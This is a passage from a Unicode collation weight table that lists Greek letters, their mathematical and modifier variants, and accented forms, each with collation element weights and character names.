GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI +03B2 ; [.1F35.0020.0002] # GREEK SMALL LETTER BETA +03D0 ; [.1F35.0020.0004] # GREEK BETA SYMBOL +1D6C3 ; [.1F35.0020.0005] # MATHEMATICAL BOLD SMALL BETA +1D6FD ; [.1F35.0020.0005] # MATHEMATICAL ITALIC SMALL BETA +1D737 ; [.1F35.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL BETA +1D771 ; [.1F35.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL BETA +1D7AB ; [.1F35.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL BETA +0392 ; [.1F35.0020.0008] # GREEK CAPITAL LETTER BETA +1D6A9 ; [.1F35.0020.000B] # MATHEMATICAL BOLD CAPITAL BETA +1D6E3 ; [.1F35.0020.000B] # MATHEMATICAL ITALIC CAPITAL BETA +1D71D ; [.1F35.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL BETA +1D757 ; [.1F35.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL BETA +1D791 ; [.1F35.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL BETA +1D5D ; [.1F35.0020.0014] # MODIFIER LETTER SMALL BETA +1D66 ; [.1F35.0020.0015] # GREEK SUBSCRIPT SMALL LETTER BETA +03B3 ; [.1F36.0020.0002] # GREEK SMALL LETTER GAMMA +213D ; [.1F36.0020.0005] # DOUBLE-STRUCK SMALL GAMMA +1D6C4 ; [.1F36.0020.0005] # MATHEMATICAL BOLD SMALL GAMMA +1D6FE ; [.1F36.0020.0005] # MATHEMATICAL ITALIC SMALL GAMMA +1D738 ; [.1F36.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL GAMMA +1D772 ; [.1F36.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL GAMMA +1D7AC ; [.1F36.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL GAMMA +0393 ; [.1F36.0020.0008] # GREEK CAPITAL LETTER GAMMA +213E ; [.1F36.0020.000B] # DOUBLE-STRUCK CAPITAL GAMMA +1D6AA ; [.1F36.0020.000B] # MATHEMATICAL BOLD CAPITAL GAMMA +1D6E4 ; [.1F36.0020.000B] # MATHEMATICAL ITALIC CAPITAL GAMMA +1D71E ; [.1F36.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL GAMMA +1D758 ; [.1F36.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL GAMMA +1D792 ; [.1F36.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL GAMMA +1D5E ; [.1F36.0020.0014] # MODIFIER LETTER SMALL GREEK GAMMA +1D67 ; [.1F36.0020.0015] # GREEK SUBSCRIPT SMALL LETTER GAMMA +1D26 ; [.1F37.0020.0002] # GREEK LETTER SMALL CAPITAL GAMMA +03B4 ; [.1F38.0020.0002] # GREEK SMALL LETTER DELTA +1D6C5 ; [.1F38.0020.0005] # MATHEMATICAL BOLD SMALL DELTA +1D6FF ; [.1F38.0020.0005] # MATHEMATICAL ITALIC SMALL DELTA +1D739 ; [.1F38.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL DELTA +1D773 ; [.1F38.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL DELTA +1D7AD ; [.1F38.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL DELTA +0394 ; [.1F38.0020.0008] # GREEK CAPITAL LETTER DELTA +1D6AB ; [.1F38.0020.000B] # MATHEMATICAL BOLD CAPITAL DELTA +1D6E5 ; [.1F38.0020.000B] # MATHEMATICAL ITALIC CAPITAL DELTA +1D71F ; [.1F38.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL DELTA +1D759 ; [.1F38.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL DELTA +1D793 ; [.1F38.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL DELTA +1D5F ; [.1F38.0020.0014] # MODIFIER LETTER SMALL DELTA +03B5 ; [.1F39.0020.0002] # GREEK SMALL LETTER EPSILON +03F5 ; [.1F39.0020.0004] # GREEK LUNATE EPSILON SYMBOL +1D6C6 ; [.1F39.0020.0005] # MATHEMATICAL BOLD SMALL EPSILON +1D6DC ; [.1F39.0020.0005] # MATHEMATICAL BOLD EPSILON SYMBOL +1D700 ; [.1F39.0020.0005] # MATHEMATICAL ITALIC SMALL EPSILON +1D716 ; [.1F39.0020.0005] # MATHEMATICAL ITALIC EPSILON SYMBOL +1D73A ; [.1F39.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL EPSILON +1D750 ; [.1F39.0020.0005] # MATHEMATICAL BOLD ITALIC EPSILON SYMBOL +1D774 ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL EPSILON +1D78A ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL +1D7AE ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL EPSILON +1D7C4 ; [.1F39.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL +0395 ; [.1F39.0020.0008] # GREEK CAPITAL LETTER EPSILON +1D6AC ; [.1F39.0020.000B] # MATHEMATICAL BOLD CAPITAL EPSILON +1D6E6 ; [.1F39.0020.000B] # MATHEMATICAL ITALIC CAPITAL EPSILON +1D720 ; [.1F39.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL EPSILON +1D75A ; [.1F39.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL EPSILON +1D794 ; [.1F39.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL EPSILON +1F10 ; [.1F39.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER EPSILON WITH PSILI +1F18 ; [.1F39.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI +1F14 ; [.1F39.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA +1F1C ; [.1F39.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA +1F12 ; [.1F39.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA +1F1A ; [.1F39.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA +1F11 ; [.1F39.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER EPSILON WITH DASIA +1F19 ; [.1F39.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA +1F15 ; [.1F39.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA +1F1D ; [.1F39.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA +1F13 ; [.1F39.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA +1F1B ; [.1F39.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA +03AD ; [.1F39.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH TONOS +1F73 ; [.1F39.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER EPSILON WITH OXIA +0388 ; [.1F39.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH TONOS +1FC9 ; [.1F39.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER EPSILON WITH OXIA +1F72 ; [.1F39.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER EPSILON WITH VARIA +1FC8 ; [.1F39.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER EPSILON WITH VARIA +03DD ; [.1F3A.0020.0002] # GREEK SMALL LETTER DIGAMMA +1D7CB ; [.1F3A.0020.0005] # MATHEMATICAL BOLD SMALL DIGAMMA +03DC ; [.1F3A.0020.0008] # GREEK LETTER DIGAMMA +1D7CA ; [.1F3A.0020.000B] # MATHEMATICAL BOLD CAPITAL DIGAMMA +0377 ; [.1F3B.0020.0002] # GREEK SMALL LETTER PAMPHYLIAN DIGAMMA +0376 ; [.1F3B.0020.0008] # GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA +03DB ; [.1F3C.0020.0002] # GREEK SMALL LETTER STIGMA +03DA ; [.1F3C.0020.0008] # GREEK LETTER STIGMA +03B6 ; [.1F3D.0020.0002] # GREEK SMALL LETTER ZETA +1D6C7 ; [.1F3D.0020.0005] # MATHEMATICAL BOLD SMALL ZETA +1D701 ; [.1F3D.0020.0005] # MATHEMATICAL ITALIC SMALL ZETA +1D73B ; [.1F3D.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ZETA +1D775 ; [.1F3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ZETA +1D7AF ; [.1F3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ZETA +0396 ; [.1F3D.0020.0008] # GREEK CAPITAL LETTER ZETA +1D6AD ; [.1F3D.0020.000B] # MATHEMATICAL BOLD CAPITAL ZETA +1D6E7 ; [.1F3D.0020.000B] # MATHEMATICAL ITALIC CAPITAL ZETA +1D721 ; [.1F3D.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ZETA +1D75B ; [.1F3D.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ZETA +1D795 ; [.1F3D.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ZETA +0371 ; [.1F3E.0020.0002] # GREEK SMALL LETTER HETA +0370 ; [.1F3E.0020.0008] # GREEK CAPITAL LETTER HETA +03B7 ; [.1F3F.0020.0002] # GREEK SMALL LETTER ETA +1D6C8 ; [.1F3F.0020.0005] # MATHEMATICAL BOLD SMALL ETA +1D702 ; [.1F3F.0020.0005] # MATHEMATICAL ITALIC SMALL ETA +1D73C ; [.1F3F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ETA +1D776 ; [.1F3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ETA +1D7B0 ; [.1F3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ETA +0397 ; [.1F3F.0020.0008] # GREEK CAPITAL LETTER ETA +1D6AE ; [.1F3F.0020.000B] # MATHEMATICAL BOLD CAPITAL ETA +1D6E8 ; [.1F3F.0020.000B] # MATHEMATICAL ITALIC CAPITAL ETA +1D722 ; [.1F3F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ETA +1D75C ; [.1F3F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ETA +1D796 ; [.1F3F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ETA +1F20 ; [.1F3F.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ETA WITH PSILI +1F28 ; [.1F3F.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ETA WITH PSILI +1F24 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA +1F2C ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA +1F94 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI +1F9C ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI +1F22 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA +1F2A ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA +1F92 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI +1F9A ; [.1F3F.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI +1F26 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI +1F2E ; [.1F3F.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI +1F96 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI +1F9E ; [.1F3F.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI +1F90 ; [.1F3F.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI +1F98 ; [.1F3F.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI +1F21 ; [.1F3F.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ETA WITH DASIA +1F29 ; [.1F3F.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ETA WITH DASIA +1F25 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA +1F2D ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA +1F95 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI +1F9D ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI +1F23 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA +1F2B ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA +1F93 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI +1F9B ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI +1F27 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI +1F2F ; [.1F3F.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI +1F97 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI +1F9F ; [.1F3F.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI +1F91 ; [.1F3F.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI +1F99 ; [.1F3F.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI +03AE ; [.1F3F.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH TONOS +1F75 ; [.1F3F.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH OXIA +0389 ; [.1F3F.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH TONOS +1FCB ; [.1F3F.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH OXIA +1FC4 ; [.1F3F.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI +1F74 ; [.1F3F.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH VARIA +1FCA ; [.1F3F.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH VARIA +1FC2 ; [.1F3F.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI +1FC6 ; [.1F3F.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI +1FC7 ; [.1F3F.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI +1FC3 ; [.1F3F.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI +1FCC ; [.1F3F.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI +03B8 ; [.1F40.0020.0002] # GREEK SMALL LETTER THETA +03D1 ; [.1F40.0020.0004] # GREEK THETA SYMBOL +1D6C9 ; [.1F40.0020.0005] # MATHEMATICAL BOLD SMALL THETA +1D6DD ; [.1F40.0020.0005] # MATHEMATICAL BOLD THETA SYMBOL +1D703 ; [.1F40.0020.0005] # MATHEMATICAL ITALIC SMALL THETA +1D717 ; [.1F40.0020.0005] # MATHEMATICAL ITALIC THETA SYMBOL +1D73D ; [.1F40.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL THETA +1D751 ; [.1F40.0020.0005] # MATHEMATICAL BOLD ITALIC THETA SYMBOL +1D777 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL THETA +1D78B ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD THETA SYMBOL +1D7B1 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL THETA +1D7C5 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC THETA SYMBOL +0398 ; [.1F40.0020.0008] # GREEK CAPITAL LETTER THETA +03F4 ; [.1F40.0020.000A] # GREEK CAPITAL THETA SYMBOL +1D6AF ; [.1F40.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA +1D6B9 ; [.1F40.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA SYMBOL +1D6E9 ; [.1F40.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA +1D6F3 ; [.1F40.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA SYMBOL +1D723 ; [.1F40.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA +1D72D ; [.1F40.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA SYMBOL +1D75D ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA +1D767 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA SYMBOL +1D797 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA +1D7A1 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA SYMBOL +1DBF ; [.1F40.0020.0014] # MODIFIER LETTER SMALL THETA +03B9 ; [.1F41.0020.0002] # GREEK SMALL LETTER IOTA +1FBE ; [.1F41.0020.0002] # GREEK PROSGEGRAMMENI +037A ; [.1F41.0020.0004] # GREEK YPOGEGRAMMENI +1D6CA ; [.1F41.0020.0005] # MATHEMATICAL BOLD SMALL IOTA +1D704 ; [.1F41.0020.0005] # MATHEMATICAL ITALIC SMALL IOTA +1D73E ; [.1F41.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL IOTA +1D778 ; [.1F41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL IOTA +1D7B2 ; [.1F41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL IOTA +0399 ; [.1F41.0020.0008] # GREEK CAPITAL LETTER IOTA +1D6B0 ; [.1F41.0020.000B] # MATHEMATICAL BOLD CAPITAL IOTA +1D6EA ; [.1F41.0020.000B] # MATHEMATICAL ITALIC CAPITAL IOTA +1D724 ; [.1F41.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL IOTA +1D75E ; [.1F41.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL IOTA +1D798 ; [.1F41.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL IOTA +1F30 ; [.1F41.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER IOTA WITH PSILI +1F38 ; [.1F41.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI +1F34 ; [.1F41.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND OXIA +1F3C ; [.1F41.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA +1F32 ; [.1F41.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND VARIA +1F3A ; [.1F41.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA +1F36 ; [.1F41.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI +1F3E ; [.1F41.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI +1F31 ; [.1F41.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER IOTA WITH DASIA +1F39 ; [.1F41.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA +1F35 ; [.1F41.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND OXIA +1F3D ; [.1F41.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA +1F33 ; [.1F41.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND VARIA +1F3B ; [.1F41.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA +1F37 ; [.1F41.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI +1F3F ; [.1F41.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI +03AF ; [.1F41.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH TONOS +1F77 ; [.1F41.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH OXIA +038A ; [.1F41.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH TONOS +1FDB ; [.1F41.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH OXIA +1F76 ; [.1F41.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH VARIA +1FDA ; [.1F41.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH VARIA +1FD0 ; [.1F41.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER IOTA WITH VRACHY +1FD8 ; [.1F41.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER IOTA WITH VRACHY +1FD6 ; [.1F41.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PERISPOMENI +03CA ; [.1F41.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA +03AA ; [.1F41.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER IOTA WITH DIALYTIKA +0390 ; [.1F41.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS +1FD3 ; [.1F41.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA +1FD2 ; [.1F41.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA +1FD7 ; [.1F41.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI +1FD1 ; [.1F41.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER IOTA WITH MACRON +1FD9 ; [.1F41.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER IOTA WITH MACRON +03F3 ; [.1F42.0020.0002] # GREEK LETTER YOT +037F ; [.1F42.0020.0008] # GREEK CAPITAL LETTER YOT +03BA ; [.1F43.0020.0002] # GREEK SMALL LETTER KAPPA +03F0 ; [.1F43.0020.0004] # GREEK KAPPA SYMBOL +1D6CB ; [.1F43.0020.0005] # MATHEMATICAL BOLD SMALL KAPPA +1D6DE ; [.1F43.0020.0005] # MATHEMATICAL BOLD KAPPA SYMBOL +1D705 ; [.1F43.0020.0005] # MATHEMATICAL ITALIC SMALL KAPPA +1D718 ; [.1F43.0020.0005] # MATHEMATICAL ITALIC KAPPA SYMBOL +1D73F ; [.1F43.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL KAPPA +1D752 ; [.1F43.0020.0005] # MATHEMATICAL BOLD ITALIC KAPPA SYMBOL +1D779 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL KAPPA +1D78C ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD KAPPA SYMBOL +1D7B3 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL KAPPA +1D7C6 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC KAPPA SYMBOL +039A ; [.1F43.0020.0008] # GREEK CAPITAL LETTER KAPPA +1D6B1 ; [.1F43.0020.000B] # MATHEMATICAL BOLD CAPITAL KAPPA +1D6EB ; [.1F43.0020.000B] # MATHEMATICAL ITALIC CAPITAL KAPPA +1D725 ; [.1F43.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL KAPPA +1D75F ; [.1F43.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL KAPPA +1D799 ; [.1F43.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL KAPPA +03D7 ; [.1F43.0020.0004][.1F34.0020.0004][.1F41.0020.0004] # GREEK KAI SYMBOL +03CF ; [.1F43.0020.000A][.1F34.0020.0004][.1F41.0020.0004] # GREEK CAPITAL KAI SYMBOL +03BB ; [.1F44.0020.0002] # GREEK SMALL LETTER LAMDA +1D6CC ; [.1F44.0020.0005] # MATHEMATICAL BOLD SMALL LAMDA +1D706 ; [.1F44.0020.0005] # MATHEMATICAL ITALIC SMALL LAMDA +1D740 ; [.1F44.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL LAMDA +1D77A ; [.1F44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL LAMDA +1D7B4 ; [.1F44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL LAMDA +039B ; [.1F44.0020.0008] # GREEK CAPITAL LETTER LAMDA +1D6B2 ; [.1F44.0020.000B] # MATHEMATICAL BOLD CAPITAL LAMDA +1D6EC ; [.1F44.0020.000B] # MATHEMATICAL ITALIC CAPITAL LAMDA +1D726 ; [.1F44.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL LAMDA +1D760 ; [.1F44.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL LAMDA +1D79A ; [.1F44.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL LAMDA +1D27 ; [.1F45.0020.0002] # GREEK LETTER SMALL CAPITAL LAMDA +03BC ; [.1F46.0020.0002] # GREEK SMALL LETTER MU +00B5 ; [.1F46.0020.0004] # MICRO SIGN +1D6CD ; [.1F46.0020.0005] # MATHEMATICAL BOLD SMALL MU +1D707 ; [.1F46.0020.0005] # MATHEMATICAL ITALIC SMALL MU +1D741 ; [.1F46.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL MU +1D77B ; [.1F46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL MU +1D7B5 ; [.1F46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL MU +039C ; [.1F46.0020.0008] # GREEK CAPITAL LETTER MU +1D6B3 ; [.1F46.0020.000B] # MATHEMATICAL BOLD CAPITAL MU +1D6ED ; [.1F46.0020.000B] # MATHEMATICAL ITALIC CAPITAL MU +1D727 ; [.1F46.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL MU +1D761 ; [.1F46.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL MU +1D79B ; [.1F46.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL MU +3382 ; [.1F46.0020.001C][.1BC2.0020.001D] # SQUARE MU A +338C ; [.1F46.0020.001C][.1C60.0020.001D] # SQUARE MU F +338D ; 